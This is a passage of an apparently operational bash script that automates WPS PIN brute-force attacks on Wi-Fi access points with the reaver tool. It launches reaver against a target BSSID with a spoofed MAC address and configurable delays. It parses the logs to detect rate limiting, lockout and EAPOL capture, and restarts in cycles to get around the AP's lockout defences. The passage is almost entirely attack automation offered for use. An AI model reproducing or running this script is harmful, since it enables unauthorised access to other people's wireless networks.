contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R50 == y || $USE_R50 == Y ]] && [[ $USE_LONG50 == n || $USE_LONG50 == N ]] && [[ $USE_PIN50 == n || $USE_PIN50 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME50"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL50"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP50"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX50" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY50"
echo -e "$info Reaver live time                   = $yel$LIVE50 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME50-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL50 -b $TARGETAP50 -vv -x 60 -r $RX50:$RY50 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME50-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE50-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R50 == n || $USE_R50 == N ]] && [[ $USE_LONG50 == y || $USE_LONG50 == Y ]] && [[ $USE_PIN50 == n || $USE_PIN50 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME50"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL50"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP50"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE50 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME50-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL50 -b $TARGETAP50 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME50-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE50-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R50 == y || $USE_R50 == Y ]] && [[ $USE_LONG50 == y || $USE_LONG50 == Y ]] && [[ $USE_PIN50 == n || $USE_PIN50 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME50"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL50"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP50"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX50" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY50"
echo -e "$info Reaver live time                   = $yel$LIVE50 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME50-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL50 -b $TARGETAP50 -r $RX50:$RY50 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME50-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE50-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R50 == n || $USE_R50 == N ]] && [[ $USE_LONG50 == n || $USE_LONG50 == N ]] && [[ $USE_PIN50 == y || $USE_PIN50 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME50"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL50"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP50"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE50 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME50-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL50 -b $TARGETAP50 -vv -x 60  --pin=$WPS_PIN50 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME50-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE50-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R50 == y || $USE_R50 == Y ]] && [[ $USE_LONG50 == n || $USE_LONG50 == N ]] && [[ $USE_PIN50 == y || $USE_PIN50 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME50"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL50"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP50"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX50" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY50"
echo -e "$info Reaver live time                   = $yel$LIVE50 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME50-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL50 -b $TARGETAP50 -vv -x 60 -r $RX50:$RY50 --pin=$WPS_PIN50 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME50-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE50-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

